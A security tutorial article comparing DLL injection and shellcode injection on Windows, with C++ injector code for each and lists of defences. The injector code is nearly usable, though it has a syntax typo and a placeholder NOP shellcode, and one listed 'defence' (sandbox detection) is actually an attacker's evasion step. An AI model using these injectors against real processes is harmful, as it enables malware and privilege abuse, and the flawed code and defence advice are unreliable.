DLL injection vs. Shellcode injection
In the field of modern computer security, DLL injection and Shellcode injection are two common attack techniques. They are widely used in scenarios such as the spread of malware, privilege escalation, and circumventing antivirus software. Although they are different, both belong to dynamic code injection techniques and can execute arbitrary code in the target process.
This article will introduce the basic principles, attack process, and how to prevent both DLL injection and Shellcode injection techniques.
1. Overview of DLL injection

DLL injection refers to loading a dynamic link library (DLL) into the address space of the target process, usually by manipulating the runtime behavior of the target process. The injected DLL can execute arbitrary code, including modifying the memory of the target process, modifying the control flow, or initiating malicious operations.
1.1 Basic steps of DLL injection
The process of DLL injection generally includes the following steps:
to obtain the handle of the target process: First, the attacker needs to obtain the handle of the target process to control it. This can be done using
OpenProcess()
function to obtain the handle of the process.allocating memory: Using
VirtualAllocEx()
Allocate memory space, which will be used to store the path of the DLL to be injected or other data.Write to memory: Using
WriteProcessMemory()
to write the path of the DLL or Shellcode into the memory of the target process.creating a remote thread: Using
CreateRemoteThread()
Start a remote thread to execute the injected DLL in the target process. This can be done by callingLoadLibraryA()
to load the injected DLL.Cleanup: After the injection is complete, the attacker usually closes the handle and releases the allocated memory space.
1.2 Example code for DLL injection
This is a simple example of DLL injection, written in C++, which injects a DLL into the target process.
#include <windows.h>
#include <iostream>
int main() {
// Target process ID
DWORD processID = 1234; // The PID of the target process
HANDLE hProcess;
// Get the handle of the target process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (hProcess == NULL) {
std::cerr << "Failed to open process" << std::endl;
return -1;
}
// DLL file path
const char *dllPath = "C:\\path\\to\\your\\dll.dll";
// Allocate memory
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (allocMem == NULL) {}}
std::cerr << "Memory allocation failed" << std::endl;
CloseHandle(hProcess);
return -1;
}
// Write DLL path to the target process
if (!WriteProcessMemory(hProcess, allocMem, dllPath, strlen(dllPath) + 1, NULL)) {
std::cerr << "Failed to write memory" << std::endl;
CloseHandle(hProcess);
return -1;
}
// Create remote thread,Load DLL
FARPROC loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddr == NULL) {
std::cerr << "LoadLibraryA not found" << std::endl;
CloseHandle(hProcess);
return -1;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddr, allocMem, 0, NULL);
if (hThread == NULL) {
std::cerr << "Failed to create remote thread" << std::endl;
CloseHandle(hProcess);
return -1;
}
std::cout << "DLL injection successful!" << std::endl;
// Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
1.3 Measures to Prevent DLL Injection
Strategies for preventing DLL injection include:
- Data Execution Protection (DEP): Ensure that the stack and heap areas of the process are non-executable, preventing attackers from using these areas to execute malicious code.
- Address Space Layout Randomization (ASLR): Randomize the process memory addresses to make it difficult for attackers to predict the loading location of functions and libraries in the target process.
- Signature Verification: Ensure that all loaded DLLs are verified by trusted digital signatures.
- Monitor API Calls: Monitor API calls related to processes, memory, and threads in the system to detect any abnormal operations.
2. Overview of Shellcode Injection
Shellcode injection is a technique that involves injecting directly executable machine code (Shellcode) into the target process. Attackers will inject Shellcode into the memory of the target process using various means and trigger its execution. Shellcode usually contains some malicious operations, such as starting a reverse shell, executing system commands, and escalating privileges.
2.1 Basic steps of Shellcode injection
The steps of Shellcode injection are similar to DLL injection, but more direct, because Shellcode does not depend on a DLL loader. The basic process is as follows:
obtaining the handle of the target process: Similarly, by
OpenProcess()
the function to obtain the handle of the target process.allocating memory: Using
VirtualAllocEx()
Allocate an executable memory area.writing Shellcode: Using
WriteProcessMemory()
Write the malicious Shellcode into the memory of the target process.creating a remote thread: By
CreateRemoteThread()
Create a new thread to execute the Shellcode.Execution and cleanupAfter the Shellcode is executed, it usually performs specific malicious operations and cleans up resources after completion.
2.2 Example code of Shellcode injection
Below is a simplified example of Shellcode injection, injecting Shellcode into the target process and executing it:
#include <windows.h>
#include <iostream>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, // Shellcode example
// Here is your actual Shellcode data
};
int main() {
DWORD processID = 1234; // The PID of the target process
HANDLE hProcess;
// Get the handle of the target process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (hProcess == NULL) {
std::cerr << "Failed to open process" << std::endl;
return -1;
}
// Allocate memory
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {}}
std::cerr << "Memory allocation failed" << std::endl;
CloseHandle(hProcess);
return -1;
}
// Write Shellcode to the target process
if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), NULL)) {
std::cerr << "Failed to write memory" << std::endl;
CloseHandle(hProcess);
return -1;
}
// Create a remote thread to execute Shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "Failed to create remote thread" << std::endl;
CloseHandle(hProcess);
return -1;
}
std::cout << "Shellcode injection successful!" << std::endl;
// Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
2.3 Measures to prevent Shellcode injection
Strategies to prevent Shellcode injection include:
- Data Execution Protection (DEP): Ensure that the stack and heap areas of the process are non-executable, preventing the injected Shellcode from being executed.
- Address Space Layout Randomization (ASLR): Randomize memory addresses so that attackers cannot predict the location of Shellcode.
- Memory protection: Regularly scan the process memory to prevent illegal writing or modification.
- Sandbox detection: Check if the target process is in a sandbox environment to avoid injection in a virtual machine.
3. Summary
DLL injection and Shellcode injection are common dynamic code injection techniques, widely used in the development of malicious software. They inject code into the memory space of the target process, allowing attackers to perform arbitrary operations. To prevent these attacks, operating systems and applications need to implement defense mechanisms such as data execution protection and address space layout randomization, and also strengthen the monitoring of processes, memory, and threads.
a hidden injection shellcode technology and defense method under Linux
AI Large Model Security: Prompt Injection Attack (Prompt Injection Attack)
Eighth. Blind injection based on boolean header injection
Detailed analysis of Brute Ratel C4 1.2.2 Badger Shellcode
Combining ppid deception and far-thread injection to achieve DLL hollowing

评论已关闭